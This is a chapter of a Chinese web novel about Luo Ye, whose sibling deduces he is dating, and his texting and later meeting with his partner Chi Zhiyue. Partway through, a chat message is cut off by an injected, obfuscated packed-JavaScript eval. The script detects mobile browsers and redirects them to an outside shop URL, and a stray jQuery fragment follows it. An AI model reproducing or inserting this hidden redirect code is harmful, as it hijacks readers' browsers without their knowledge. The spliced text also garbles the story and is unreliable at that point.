31.潮汐预警
作品:《我能看见倒计时》 没等骆野回答,福尔摩斯·芃接连说出证据:“你出去的时候扎着黑色的牛皮筋,现在变成了蝴蝶结。你去外面玩又不会买这种东西,所以肯定是别人给你的,而且你竟然会光明正大地戴回来,说明对你很重要,那只能是女朋友。”
骆芃信誓旦旦地说完,自家哥哥的脸色由青到白,愣了好半晌,缓缓抬手摘下头上的蝴蝶结,攥在掌心。
骆芃见状,说:“你也不用害羞到把东西藏起来吧。”
骆野:“……”
他这不是害羞,这是绝望;他也根本不是故意戴回来的,纯粹忘了头上还绑着这么个显眼的玩意儿。
一想到自己顶着这么大的蝴蝶结从地铁走到小区,又和那些爷爷奶奶聊了天,还去超市买了雪碧……
骆野的脸越想越黑,额角的青筋都快绷不住了。
好想用胳膊肘撞水泥地!!
“啊——”骆野感觉一阵眩晕,双手使劲抹了下脸,长叹一口气,“真是把能丢人的地方都丢了一遍。”
骆芃没听清他的小声嘀咕,自顾自拉开雪碧易拉罐的拉环。
“咔哒”一声脆响,仰头喝了一口,才转头看向骆野:“其实你谈恋爱也没有什么,但得先让我检查一下,你要是被骗了怎么办。”
“被骗?”骆野疑惑地抬头。
“防诈课上说过这个骗术。”骆芃说。
“什么骗术?”骆野问。
骆芃用冷静的目光,上下扫视骆野,一字一句地解释:“他们一开始会像真的谈恋爱一样很体贴,吃干抹净后就开始装作很无辜很害怕,让你们对他们负责,之后就开始下套骗钱了,男的女的都有被骗的。”
骆野听完,忍不住笑出了声,走上去拍了拍骆芃的肩膀:“放心吧,以你哥的智商才不会上这种当。”
骆芃:“被骗的人都会说自己没上当。”
骆野:“……”
骆野其实心里清楚,在关乎自己会不会吃亏这件事上,最操心的从来不是他这个当事人,而是骆芃。
骆芃总能精准戳中他的软肋,总有话能反驳他。
骆野没辙,只能率先举手投降:“那你要我怎么证明?”
骆芃盯着他说:“我说了,带给我看看。”
骆野沉吟片刻:“看完后要是觉得还行呢?”
骆芃理所当然地说:“如果真是个好人,多一个嫂子也挺好的。”
那要是这“嫂子”是男的呢?
骆野没敢说,先含糊应了下来:“行,我知道了。”
骆芃眼睛稍微瞪大了一点,又重新垂下眼皮:“所以你真的谈了?”
骆野沉默几秒,拿出塞在口袋里的戒指项链,将他什么时候谈的,什么时候定的戒指都告诉了骆芃。
在今天以前,骆野没打算将自己和池枝越的关系告诉别人。
当然,已经告诉的万青和同事们就不在讨论范围。
毕竟他和池枝越的关系始于一场乌龙,这段为期两个月的交往不会有多深刻。告诉的人越多,等到两个月结束、两人分手时,处理人际关系就越麻烦。
但今天发生的这一切,让他稍微改变了想法。
不管是每次约会时池枝越体贴的照顾,还是刚才他慌着琢磨怎么躲过骆芃质问时,池枝越第一时间帮他想撒谎的借口。
都在处处都在为他着想。
虽然他真的对男生没兴趣,但亲也亲了,纠葛也有了,至少在这两个月里,他得对池枝越负责。
而且他也累了,说一个谎,就得用无数个谎言去堆砌。
之前以为自己要死的那段时间,他对骆芃说的谎已经够多了,再也不想继续瞒着了。
不过骆野没提池枝越的名字,他想等三方会晤时告诉骆芃。
他怕现在说了,骆芃明天就去学校再去找许梦桦质问。
要是池枝越那边还没来得及和许梦桦说清楚,不得把那丫头吓一大跳?
自己的哥哥竟然是gay?而且对象还是同桌他哥?这两件事怎么也得消化个一天吧。
“我们今天确实出去玩了,但中途发生了点小意外,所以发绳不见了,他给了我这个。”骆野说起今天这段还是有点心虚的,最后还是没告诉骆芃发情期的事。
为了防止骆芃从他脸上看出端倪,他摸了摸自己的脸颊,确认体温已经降回正常水平,才挺直了脊背,装作一副坦荡。
“我就说。”骆芃得意地扬了扬下巴,一副“我早就猜对了”的模样。
骆野觉得可爱,笑着说:“我和他商量下,定好时间告诉你。”
“哦。”
骆野顿了顿,又补充了一句:“你到时候见到他,不要特别惊讶。”
骆野本来想喝雪碧了,听到这句话,又放下手,毫无波澜地问:“这有什么好惊讶的,她难道是什么明星吗?”
明星还不至于,但是你绝对猜不到。
骆野笑了笑,双手揉着骆芃的脑袋说:“他要是明星,你哥去游乐场这一路都被拍十几张图了,现在都在热搜上挂着。”
“哦,是吗?我看看。”骆芃下意识从兜里掏出手机。
一块彩色积木跟着从口袋里滑了出来,滚到骆野脚边。
两个人都愣住了,骆芃反应过来,弯腰捡起积木,耳朵渐渐变红了。
骆野猜到这可能是从万青家里带来,挑起眉调侃:“哟,你还掉装备呢?”
骆芃捏着积木,不好意思地低下头,音量也小了一大截:“拼的时候想上厕所,就揣兜里了,结果忘了。”
“你这小孩……”骆野无奈地摇了摇头,拿出手机给万青发了条语音消息,“万青啊,芃芃不小心把你那个积木拿回来了,怎么办?我给你送过去?”
没过几秒,万青的消息就回了过来。
【巧了,刚要给你发消息】
【骆野】:你这么快就发现少了一个?
【万青】:?你当我是神啊?这谁能发现?
【万青】:我说我这里有拿到礼品券,想让你周一来公司碰个面,结果你就给我发消息了
【骆野】:okok,刚好把东西还给你
“我周一去公司一趟,刚好你万哥也有东西要给我。”骆野说。
做错事的骆芃全然没有刚刚审讯骆野似的威风凛凛,又变回平时那个乖乖听话的模样,轻轻点头。
骆野捏了捏骆芃的脸,弯起眼睛笑道:“行了,去写试卷吧,上次买的高考模拟题都做完了吗?”
骆芃用力点头:“差不多了,感觉可以再买新的。”
骆芃在写题这方面的自觉程度不亚于骆野出门必拍照的自觉。哪怕他们在和兰橘三排,只要到了既定的写题时间,他都会主动退出游戏,安安静静去做题。
所以经常会有骆野一人玩两个号的时候,让骆芃的段位掉了好几次。
“我礼拜四接采访的时候,顺路给你买几本回来,你先把没写的写了。”
骆芃松开了捏脸的手,握住骆芃的肩膀,轻轻转了一圈,推着他往卧室的方向走。
等骆芃坐在椅子上写题了,骆野才轻手轻脚地退出卧室,带上了房门。
走到客厅,他拿出手机解锁,屏幕上赫然躺着池枝越发来的几条消息。
【池枝越】:怎么样?
【池枝越】:顺利通过了吗?
【骆野】:忘了后面还有个蝴蝶结,芃芃一下子猜出来了
【骆野】:我就直接就说了
【池枝越】:嗯?直接说了?
【池枝越】:你不要紧吧?
【骆野】:反正芃芃迟早也会知道的,还不如早点说了
【骆野】:不过我没说名字,我想的是让你们俩直接见面
【骆野】:不知道你能不能接受,不接受的话我就直接说了
骆野发完这几句,骆野倒了一杯温水,转身回了自己的卧室。
等电脑都开机了,池枝越还没有回答。
骆野纳闷了,这不就是“可以”和“不可以”吗?有这么纠结吗?
他还以为池枝越在听到介绍给家里人时会挺开心的,难道他猜错了?其实池枝越觉得谈两个月而已,没必要到处公开?
可转念一想,率先把他们的关系告诉万青的,不就是池枝越吗?怎么这时候扭捏起来了?
骆野本来想粗剪下一条视频,因为池枝越迟迟不回应,心里乱糟糟的。
最后盯着电脑,实在憋不住了,发消息问过去:“兄弟你睡着了?”
【池枝越】:没
【池枝越】:我在定西装
【骆野】:?
?????
“西装?”
骆野猛地从电脑椅上惊坐起来,耳朵和尾巴同时炸了出来。
他还没来得及打字回复,池枝越又发来了两张不同款式的高定西装版型图。
骆野意识到池枝越不是在开玩笑,赶紧拿出时速四千字的手速回复。
生怕慢点对方真买下来了。
【骆野】:不至于不至于你别激情下单啊!
【池枝越】:不喜欢?还有别的店铺
【骆野】:喜欢喜欢!你回来!别退出去看了!
【池枝越】:【弹回来表情】
【骆野】:【打住表情】
【骆野】:我本来说我们在学校对面的炸串店见面就行了,芃芃特别喜欢那家店,刚好离他学校也近
【池枝越】:好吧
骆野确定池枝越不会买了,松了口气。
他真的很怕池枝越想不开穿套西服去挤几平米的炸串店。
先不说见面了,干洗费都得赔不少钱。
骆野叼着一根白巧克力棒,身体往椅背上一靠,整个人彻底放松下来。
捧着手机,打字提醒:“穿的差不多就行了,反正他上次也见过你了,又不是陌生人。”
消息发出去没几秒,池枝越的回复就弹了过来。
【池枝越】:我还有个问题
【骆野】:除了西装有关的问题,都可以问
【池枝越】:那样算约会的时间吗?
骆野咬着巧克力棒的动作一顿,取下来夹在手里。
他真没想到池枝越会问这个。
【骆野】:算和不算有什么区别?
【池
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408003|197343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枝越】:如果不算,那我到时候送你一束见面的花
【骆野】:那算呢?
【池枝越】:如果算,我就可以先送你一束花,再给你一个吻
骆野的目光落在最后一个字上,怔了怔神,下意识抿了抿嘴唇。
下嘴唇残留的细微肿胀感悄然传来,这种微妙的触感,瞬间让他想起了狭道之中,两人呼吸交叠的某个瞬间。
他抬头看着天花板,深吸一口气。
手指悬在屏幕上方犹豫了许久,最终缓缓落下,回了过去。
“都可以吧。”
在店员问骆野是否要选择去冰时,他瞥了眼新菜单,简短地回了这句话。
“那就去冰?”店员准备下单。
骆野顿了顿,垂眼看着对方:“不过你推荐是去冰还是常温啊?”
店员是个年轻的小伙子,他一边打着价格单,耐心解释:“常温比较能尝出味道。”
骆野点了点头:“那就常温吧。”
周一下午的“非你不渴”客流量远比平时多。
毕竟没人能在休息两天后,还能精神饱满地工作,大多都是靠一杯咖啡或奶茶麻痹自己。
骆野拎着做好的茉莉清香木奶咖,慢悠悠地走进DFG公司大楼。
他离开这里也有一段时间了,再次面对这个熟悉的环境、熟悉的走廊,心里竟生出几分不一样的感觉。
令他意外的是,他以为宣传栏会在他走了以后撤掉自己的照片,没想到他的照片依旧和池枝越的摆在一起。
“为什么?以前不都是撕掉的吗?人资部转性了?”
骆野盯着这两张照片,咬着奶咖的吸管,左右晃动着脑袋。
“这不是骆野吗?”
骆野听到声音转头,是编辑部的陈央,她抱着提着笔记本不知道要去哪里。
“陈央,好巧。”骆野笑着挥了挥手,打了个招呼。
“可不是巧了吗?我刚开始远远看,还以为又是哪个艺人来扫楼的,等看到侧脸才发现是你,”陈央啧啧两声。
好久没见骆野,依旧是利落的黑白两色。
黑色短款加绒皮衣,内搭黑色圆领毛衣,下身是深灰色工装裤,领口随意立着,自带一股随性的劲儿。
“又变帅了。”陈央笑道。
“哪有。”骆野谦虚地点头。
“你是来看兰橘的?”陈央问。
“没,橘哥已经见过了,我今天来是找万青的。”骆野说。
陈央又问了些前同事之间都会问的问题,比如:你现在在做什么?准备休息多久,去哪里上班?
骆野能回答的都回答了,特别是聊到领导时,哪怕现在不在公司上班,依旧很能共情被逼疯的陈央。
“本来上班就烦,看到他就更烦了,最近又推了我们好几个方案,连兰橘都被他整得胃口变小了。”陈央愤愤不平地皱着眉。
骆野早听兰橘诉过苦,但胃口小这件事有待商榷,忍不住说:“但他胃口也小不到哪里去,顶多是五碗大米饭变四碗了。”
陈央:“……确实。”
就在这时,骆野看见万青从电梯拐角走出来,他正要挥手喊名字,在看到万青身后的人时,动作瞬间顿住。
万青几步之后,池枝越缓缓走了出来。
他身着米白色新中式立领针织开衫,浅杏色圆领打底,下身是浅灰色加绒休闲裤,整体温润柔和,身姿挺拔。
脖颈间挂着的戒指项链,在走廊的灯光下闪着淡淡的光泽。
骆野看呆了。
……不是,这人上班还戴着戒指啊?
他趁万青和池枝越还没走过来,悄悄侧过头,压低声音问陈央:“……池枝越经常戴着那枚戒指吗?”
“戴啊,吃饭也戴,节目对接的时候也戴。他当时说什么来着?”陈央点着眉心仔细回忆,几秒后想起来了,“哦!他说他这是他和他对象的定情信物,对象不让他摘。”
骆野:“?”
还有这事?他怎么不知道?
骆野还有点违和,陈央和万青也算熟人,可看陈央这反应,显然不知道自己和池枝越的关系。
按万青那大嘴巴……不应该啊?难道两人吵架了?
骆野犹豫了一下,还是想试探看看,又轻声问道:“那你知道他对象是谁吗?”
陈央耸耸肩:“不知道啊,他没说过。”
骆野追问:“万青也没跟你说过吗?”
“万青?”陈央剐了眼骆野,低笑一声,“万青都来问过我们,他怎么会知道是谁啊?”
“什么?”骆野脸上的笑意瞬间消失,不说话了。
就在这时,万青已经走到了他们面前,他先看了眼骆野,笑着调侃道:“怎么了?脸色这么差?想上厕所啊?”
“没有。”
骆野目光越过万青,直直落在后面的池枝越身上。
当事人甚至对他露出了微笑,笑得甚至还挺好看的。
……笑那么好看干什么?
骆野抑制住要炸起的耳朵,微微眯起眼睛,咬着后槽牙,一字一顿地开口:“池枝越,你的项链可真好看啊。”

